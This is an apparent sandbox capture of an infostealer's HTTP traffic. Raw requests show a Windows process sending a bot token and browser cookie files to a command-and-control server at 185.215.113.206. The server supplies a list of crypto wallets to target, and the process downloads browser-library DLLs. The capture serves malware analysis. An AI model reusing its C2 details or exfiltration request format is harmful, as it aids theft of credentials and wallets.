Nov 25, 2024 14:14:11.567047119 CET	335	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 13:14:11 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 108 Keep-Alive: timeout=5, max=96 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 54 57 56 30 59 55 31 68 63 32 74 38 4d 48 78 33 5a 57 4a 6c 65 48 52 6c 62 6e 4e 70 62 32 35 41 62 57 56 30 59 57 31 68 63 32 73 75 61 57 39 38 55 6d 39 75 61 57 34 67 56 32 46 73 62 47 56 30 66 44 42 38 63 6d 39 75 61 57 34 74 64 32 46 73 62 47 56 30 51 47 46 34 61 57 56 70 62 6d 5a 70 62 6d 6c 30 65 53 35 6a 62 32 31 38 Data Ascii: TWV0YU1hc2t8MHx3ZWJleHRlbnNpb25AbWV0YW1hc2suaW98Um9uaW4gV2FsbGV0fDB8cm9uaW4td2FsbGV0QGF4aWVpbmZpbml0eS5jb218
Nov 25, 2024 14:14:11.598845959 CET	203	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----CGCFCFBKFCFCBGDGIEGH Host: 185.215.113.206 Content-Length: 5875 Connection: Keep-Alive Cache-Control: no-cache
Nov 25, 2024 14:14:11.598956108 CET	5875	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 43 47 43 46 43 46 42 4b 46 43 46 43 42 47 44 47 49 45 47 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 37 65 30 61 62 38 Data Ascii: ------CGCFCFBKFCFCBGDGIEGHContent-Disposition: form-data; name="token"7e0ab8514fc828f7951a063b7d1ebbac05a96958aedb3471957485f2b279a2131b3d00a2------CGCFCFBKFCFCBGDGIEGHContent-Disposition: form-data; name="file_name"c3lzdGVtX2luZ
Nov 25, 2024 14:14:12.723946095 CET	202	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 13:14:11 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=95 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 25, 2024 14:14:13.012012005 CET	94	OUT	GET /68b591d6548ec281/sqlite3.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Nov 25, 2024 14:14:13.535300016 CET	1236	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 13:14:13 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 11:30:30 GMT ETag: "10e436-5e7ec6832a180" Accept-Ranges: bytes Content-Length: 1106998 Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 12 00 d7 dd 15 63 00 92 0e 00 bf 13 00 00 e0 00 06 21 0b 01 02 19 00 26 0b 00 00 16 0d 00 00 0a 00 00 00 14 00 00 00 10 00 00 00 40 0b 00 00 00 e0 61 00 10 00 00 00 02 00 00 04 00 00 00 01 00 00 00 04 00 00 00 00 00 00 00 00 30 0f 00 00 06 00 00 1c 3a 11 00 03 00 00 00 00 00 20 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 d0 0c 00 88 2a 00 00 00 00 0d 00 d0 0c 00 00 00 30 0d 00 a8 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 0d 00 18 3c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 20 0d 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PELc!&@a0: 0@< .text%&`P`.data\|'@(,@`.rdatapDpFT@`@.bss(`.edata,@0@.idata@0.CRT,@0.tls @0.rsrc0@0.reloc<@>@0B/48@@B/19R"@B/31]'`(@B/45-.@B/57\B@0B/70
Nov 25, 2024 14:14:13.535556078 CET	1236	IN	Data Raw: 00 00 23 03 00 00 00 d0 0e 00 00 04 00 00 00 4e 0e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 38 31 00 00 00 00 00 73 3a 00 00 00 e0 0e 00 00 3c 00 00 00 52 0e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 39 32 00 00 00 00 00 Data Ascii: #N@B/81s:<R@B/92P @B
Nov 25, 2024 14:14:13.539232016 CET	1236	IN	Data Raw: ec 0c 89 c5 85 db 74 05 83 fb 03 75 2e 89 7c 24 08 89 5c 24 04 89 34 24 e8 19 f7 0a 00 83 ec 0c 89 c5 89 7c 24 08 89 5c 24 04 89 34 24 e8 64 fd ff ff 83 ec 0c 85 c0 75 02 31 ed c7 05 48 67 eb 61 ff ff ff ff 83 c4 1c 89 e8 5b 5e 5f 5d c3 8d b4 26 Data Ascii: tu.\|$\$4$\|$\$4$du1Hga[^_]&+C\|$\$4$w#t\|$\$4$u#u\|$D$4$t&up\|$D$4$rZ\|$D$4$Q

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.5	49721	185.215.113.206	80	1436	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
Nov 25, 2024 14:14:23.554691076 CET	629	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----JEGHJDGIJECGDHJJECGH Host: 185.215.113.206 Content-Length: 427 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 4a 45 47 48 4a 44 47 49 4a 45 43 47 44 48 4a 4a 45 43 47 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 37 65 30 61 62 38 35 31 34 66 63 38 32 38 66 37 39 35 31 61 30 36 33 62 37 64 31 65 62 62 61 63 30 35 61 39 36 39 35 38 61 65 64 62 33 34 37 31 39 35 37 34 38 35 66 32 62 32 37 39 61 32 31 33 31 62 33 64 30 30 61 32 0d 0a 2d 2d 2d 2d 2d 2d 4a 45 47 48 4a 44 47 49 4a 45 43 47 44 48 4a 4a 45 43 47 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 59 32 39 76 61 32 6c 6c 63 31 78 48 62 32 39 6e 62 47 55 67 51 32 68 79 62 32 31 6c 58 30 52 6c 5a 6d 46 31 62 48 51 75 64 48 68 30 0d 0a 2d 2d 2d 2d 2d 2d 4a 45 47 48 4a 44 47 49 4a 45 43 47 44 48 4a 4a 45 43 47 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 [TRUNCATED] Data Ascii: ------JEGHJDGIJECGDHJJECGHContent-Disposition: form-data; name="token"7e0ab8514fc828f7951a063b7d1ebbac05a96958aedb3471957485f2b279a2131b3d00a2------JEGHJDGIJECGDHJJECGHContent-Disposition: form-data; name="file_name"Y29va2llc1xHb29nbGUgQ2hyb21lX0RlZmF1bHQudHh0------JEGHJDGIJECGDHJJECGHContent-Disposition: form-data; name="file"eyJpZCI6MSwicmVzdWx0Ijp7ImNvb2tpZXMiOltdfX0=------JEGHJDGIJECGDHJJECGH--
Nov 25, 2024 14:14:25.605931044 CET	203	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 13:14:24 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 25, 2024 14:14:25.716737032 CET	565	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----IDGHDGIDAKEBAAKFCGHC Host: 185.215.113.206 Content-Length: 363 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 49 44 47 48 44 47 49 44 41 4b 45 42 41 41 4b 46 43 47 48 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 37 65 30 61 62 38 35 31 34 66 63 38 32 38 66 37 39 35 31 61 30 36 33 62 37 64 31 65 62 62 61 63 30 35 61 39 36 39 35 38 61 65 64 62 33 34 37 31 39 35 37 34 38 35 66 32 62 32 37 39 61 32 31 33 31 62 33 64 30 30 61 32 0d 0a 2d 2d 2d 2d 2d 2d 49 44 47 48 44 47 49 44 41 4b 45 42 41 41 4b 46 43 47 48 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 49 44 47 48 44 47 49 44 41 4b 45 42 41 41 4b 46 43 47 48 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d [TRUNCATED] Data Ascii: ------IDGHDGIDAKEBAAKFCGHCContent-Disposition: form-data; name="token"7e0ab8514fc828f7951a063b7d1ebbac05a96958aedb3471957485f2b279a2131b3d00a2------IDGHDGIDAKEBAAKFCGHCContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------IDGHDGIDAKEBAAKFCGHCContent-Disposition: form-data; name="file"------IDGHDGIDAKEBAAKFCGHC--
Nov 25, 2024 14:14:26.681750059 CET	202	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 13:14:25 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.5	49760	185.215.113.206	80	1436	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
Nov 25, 2024 14:14:33.251629114 CET	633	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----HDAAAAFIIJDBGDGCGDAK Host: 185.215.113.206 Content-Length: 431 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 48 44 41 41 41 41 46 49 49 4a 44 42 47 44 47 43 47 44 41 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 37 65 30 61 62 38 35 31 34 66 63 38 32 38 66 37 39 35 31 61 30 36 33 62 37 64 31 65 62 62 61 63 30 35 61 39 36 39 35 38 61 65 64 62 33 34 37 31 39 35 37 34 38 35 66 32 62 32 37 39 61 32 31 33 31 62 33 64 30 30 61 32 0d 0a 2d 2d 2d 2d 2d 2d 48 44 41 41 41 41 46 49 49 4a 44 42 47 44 47 43 47 44 41 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 59 32 39 76 61 32 6c 6c 63 31 78 4e 61 57 4e 79 62 33 4e 76 5a 6e 51 67 52 57 52 6e 5a 56 39 45 5a 57 5a 68 64 57 78 30 4c 6e 52 34 64 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 48 44 41 41 41 41 46 49 49 4a 44 42 47 44 47 43 47 44 41 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 [TRUNCATED] Data Ascii: ------HDAAAAFIIJDBGDGCGDAKContent-Disposition: form-data; name="token"7e0ab8514fc828f7951a063b7d1ebbac05a96958aedb3471957485f2b279a2131b3d00a2------HDAAAAFIIJDBGDGCGDAKContent-Disposition: form-data; name="file_name"Y29va2llc1xNaWNyb3NvZnQgRWRnZV9EZWZhdWx0LnR4dA==------HDAAAAFIIJDBGDGCGDAKContent-Disposition: form-data; name="file"eyJpZCI6MSwicmVzdWx0Ijp7ImNvb2tpZXMiOltdfX0=------HDAAAAFIIJDBGDGCGDAK--
Nov 25, 2024 14:14:34.632349968 CET	203	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 13:14:33 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 25, 2024 14:14:34.769469023 CET	565	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----BAFIEGIECGCBKFIEBGCA Host: 185.215.113.206 Content-Length: 363 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 42 41 46 49 45 47 49 45 43 47 43 42 4b 46 49 45 42 47 43 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 37 65 30 61 62 38 35 31 34 66 63 38 32 38 66 37 39 35 31 61 30 36 33 62 37 64 31 65 62 62 61 63 30 35 61 39 36 39 35 38 61 65 64 62 33 34 37 31 39 35 37 34 38 35 66 32 62 32 37 39 61 32 31 33 31 62 33 64 30 30 61 32 0d 0a 2d 2d 2d 2d 2d 2d 42 41 46 49 45 47 49 45 43 47 43 42 4b 46 49 45 42 47 43 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 42 41 46 49 45 47 49 45 43 47 43 42 4b 46 49 45 42 47 43 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d [TRUNCATED] Data Ascii: ------BAFIEGIECGCBKFIEBGCAContent-Disposition: form-data; name="token"7e0ab8514fc828f7951a063b7d1ebbac05a96958aedb3471957485f2b279a2131b3d00a2------BAFIEGIECGCBKFIEBGCAContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------BAFIEGIECGCBKFIEBGCAContent-Disposition: form-data; name="file"------BAFIEGIECGCBKFIEBGCA--
Nov 25, 2024 14:14:35.720572948 CET	202	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 13:14:34 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 25, 2024 14:14:36.567235947 CET	94	OUT	GET /68b591d6548ec281/freebl3.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Nov 25, 2024 14:14:37.016474962 CET	1236	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 13:14:36 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "a7550-5e7e950876500" Accept-Ranges: bytes Content-Length: 685392 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 0e 08 00 00 34 02 00 00 00 00 00 70 12 08 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 d0 0a 00 00 04 00 00 cb fd 0a 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 48 1c 0a 00 53 00 00 00 9b 1c 0a 00 c8 00 00 00 00 90 0a 00 78 03 00 00 00 00 00 00 00 00 00 00 00 46 0a 00 50 2f 00 00 00 a0 0a 00 f0 23 00 00 94 16 0a 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 20 08 00 a0 00 00 00 00 00 00 00 00 00 00 00 a4 1e [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!4p@AHSxFP/# @.text `.rdata @@.data<F0@.00cfg@@.rsrcx@@.reloc#$"@B
Nov 25, 2024 14:14:37.016524076 CET	124	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 55 89 e5 68 4f 01 00 00 e8 f2 0b 08 00 83 c4 04 85 c0 74 0e 89 80 38 01 00 00 83 c0 0f 83 e0 f0 5d c3 68 13 e0 ff ff e8 c7 0b Data Ascii: UhOt8]h1]UWVEtu}U
Nov 25, 2024 14:14:37.016614914 CET	1236	IN	Data Raw: 10 8b 4d 0c 85 ff 74 22 f2 0f 10 07 f2 0f 11 80 30 01 00 00 eb 28 68 05 e0 ff ff e8 7f 0b 08 00 83 c4 04 b8 ff ff ff ff eb 26 c7 80 34 01 00 00 a6 a6 a6 a6 c7 80 30 01 00 00 a6 a6 a6 a6 6a 10 56 6a 00 6a 00 52 51 50 e8 3f 96 06 00 83 c4 1c 5e 5f Data Ascii: Mt"0(h&40jVjjRQP?^_]USWVhO?t081tkEU]Mt0%h1<40jRjjPQWt8^
Nov 25, 2024 14:14:37.016664028 CET	1236	IN	Data Raw: 0f 84 8d 02 00 00 89 54 24 34 89 44 24 30 89 f8 83 e0 f8 50 e8 88 06 08 00 83 c4 04 85 c0 0f 84 7c 02 00 00 89 c3 89 f8 c1 ef 03 8d 4f ff 89 4c 24 38 50 56 53 e8 27 07 08 00 83 c4 0c f2 0f 10 03 f2 0f 11 44 24 40 8d 04 3f 83 c0 fe 8d 04 40 89 c1 Data Ascii: T$4D$0P\|OL$8PVS'D$@?@L$L$D$D$D$$D$ 11\$($D$T$L$D$D$t$8D$D$@L$T$\|$ L$$
Nov 25, 2024 14:14:37.016676903 CET	1236	IN	Data Raw: 1c ff 75 18 53 50 56 8d 45 e0 50 e8 b4 fa ff ff 83 c4 18 89 c7 85 ff 0f 85 6f 01 00 00 b9 01 e0 ff ff 39 5d dc 0f 85 53 01 00 00 8b 55 e0 0f ca b8 a6 59 59 a6 29 d0 81 c2 5a a6 a6 59 09 c2 0f b6 45 e4 0f b6 4d e5 c1 e0 10 c1 e1 08 09 c1 0f b6 45 Data Ascii: uSPVEPo9]SUYY)ZYEME]M)19DEEE\|0)U\|2!!)]\|3)\|3!)}\|7
Nov 25, 2024 14:14:37.016688108 CET	1236	IN	Data Raw: ca 74 3c 66 2e 0f 1f 84 00 00 00 00 00 0f 1f 00 0f b6 0c 07 30 4c 06 0c 0f b6 0c 07 30 8c 06 8c 00 00 00 0f b6 4c 07 01 30 4c 06 0d 0f b6 4c 07 01 30 8c 06 8d 00 00 00 83 c0 02 39 c2 75 d1 8b 4d f0 31 e9 e8 37 fb 07 00 89 d8 83 c4 4c 5e 5f 5b 5d Data Ascii: t<f.0L0L0LL09uM17L^_[]USWVh1tlEGGHt1Uuut,tGHjSGW:G^_[]U
Nov 25, 2024 14:14:37.016805887 CET	1236	IN	Data Raw: 00 b8 02 00 00 00 66 0f 1f 44 00 00 0f b6 54 06 ff 0f b6 f9 01 d7 0f b6 8c 05 ef fe ff ff 01 f9 0f b6 f9 0f b6 1c 3e 88 5c 06 ff 88 14 3e 3d 00 01 00 00 74 25 0f b6 14 06 0f b6 f9 01 d7 0f b6 8c 05 f0 fe ff ff 01 f9 0f b6 f9 0f b6 1c 3e 88 1c 06 Data Ascii: fDT>\>=t%>>f1hM1)^_[]USWV01Eh1E=s hkhVo
Nov 25, 2024 14:14:37.016819000 CET	620	IN	Data Raw: 88 3c 0a 8b 55 f0 88 24 32 00 e7 0f b6 f7 8b 4d 10 8a 61 01 8b 4d f0 32 24 31 8b 4d d4 8b 55 e4 88 62 01 83 f9 02 75 2d 88 5d e8 89 45 ec eb 6e 85 d2 0f 84 7e 02 00 00 8b 75 10 0f b6 0e 83 fa 03 0f 85 81 02 00 00 89 4d e0 8b 4d ec 8a 55 e8 e9 96 Data Ascii: <U$2MaM2$1MUbu-]En~uMMUEEM]}7}E0MQM2MEP]EU+UUU9)]}1EEMA
Nov 25, 2024 14:14:37.022692919 CET	1236	IN	Data Raw: d4 66 0f eb d6 83 c6 10 66 0f fe 05 10 21 08 10 83 c1 fe 0f 85 a3 fe ff ff eb 7e 73 1b 8b 07 83 c7 04 8b 4d c4 d3 e8 89 45 e0 8b 4d ec 8b 45 d0 8a 55 e8 e9 78 01 00 00 c7 45 e0 00 00 00 00 8a 55 e8 8b 4d ec e9 66 01 00 00 c7 45 e0 00 00 00 00 8b Data Ascii: ff!~sMEMEUxEUMfEMUTFtFMUEM)ffo 1ffo fuEfn,0fnd0ff`faf`fafrfo5 f[fpff
Nov 25, 2024 14:14:37.022743940 CET	1236	IN	Data Raw: 18 09 c2 33 55 e0 8b 4d c4 8b 45 d4 d3 e8 8b 4d e8 8b 7d dc 89 14 0f 8b 7d e4 83 c6 fc 83 c1 04 89 c2 8b 45 d0 89 75 d8 3b 75 c8 0f 83 c7 fe ff ff 8b 55 ec 01 ca 01 cf 01 4d dc 83 7d d8 00 0f 85 c4 fc ff ff 8b 45 f0 88 90 00 01 00 00 88 98 01 01 Data Ascii: 3UMEM}}Eu;uUM}Et}EPEE},7,7E@2CM.USWV\2tRA
Nov 25, 2024 14:14:37.031055927 CET	1236	IN	Data Raw: 31 c8 89 f1 0f a4 c1 01 89 4d 80 0f a4 f0 01 89 85 5c ff ff ff 8b 85 74 ff ff ff 8b 48 40 89 8d 18 ff ff ff 8b 75 b4 01 ce 8b 48 44 89 8d 34 ff ff ff 8b 55 c8 11 ca 8b bd 60 ff ff ff 01 fe 89 75 b4 13 55 98 31 d3 89 5d 94 89 d3 8b 85 64 ff ff ff Data Ascii: 1M\tH@uHD4U`uU1]d1dMMMUU1u1tpH8}pLE]d1]1U]uuEE11E}t
Nov 25, 2024 14:14:38.547882080 CET	94	OUT	GET /68b591d6548ec281/mozglue.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Nov 25, 2024 14:14:38.998301983 CET	1236	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 13:14:38 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "94750-5e7e950876500" Accept-Ranges: bytes Content-Length: 608080 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 07 00 a4 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 b6 07 00 00 5e 01 00 00 00 00 00 c0 b9 03 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 80 09 00 00 04 00 00 6a aa 09 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 01 60 08 00 e3 57 00 00 e4 b7 08 00 2c 01 00 00 00 20 09 00 b0 08 00 00 00 00 00 00 00 00 00 00 00 18 09 00 50 2f 00 00 00 30 09 00 d8 41 00 00 14 53 08 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 bc f8 07 00 18 00 00 00 68 d0 07 00 a0 00 00 00 00 00 00 00 00 00 00 00 ec bc [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!^j@A`W, P/0AShZ.texta `.rdata@@.dataD@.00cfg@@.tls@.rsrc @@.relocA0B@B
Nov 25, 2024 14:14:39.929589987 CET	95	OUT	GET /68b591d6548ec281/msvcp140.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Nov 25, 2024 14:14:40.376339912 CET	1236	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 13:14:40 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "6dde8-5e7e950876500" Accept-Ranges: bytes Content-Length: 450024 Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 d9 93 31 43 9d f2 5f 10 9d f2 5f 10 9d f2 5f 10 29 6e b0 10 9f f2 5f 10 94 8a cc 10 8b f2 5f 10 9d f2 5e 10 22 f2 5f 10 cf 9a 5e 11 9e f2 5f 10 cf 9a 5c 11 95 f2 5f 10 cf 9a 5b 11 d3 f2 5f 10 cf 9a 5a 11 d1 f2 5f 10 cf 9a 5f 11 9c f2 5f 10 cf 9a a0 10 9c f2 5f 10 cf 9a 5d 11 9c f2 5f 10 52 69 63 68 9d f2 5f 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 82 ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 28 06 00 00 82 00 00 00 00 00 00 60 d9 03 00 00 10 00 00 00 40 06 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 f0 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$1C___)n__^"_^_\_[_Z____]_Rich_PEL0]"!(`@,@AgrA=`x8w@pc@.text&( `.dataH)@,@.idatapD@@.didat4X@.rsrcZ@@.reloc=>^@B
Nov 25, 2024 14:14:41.399430990 CET	91	OUT	GET /68b591d6548ec281/nss3.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
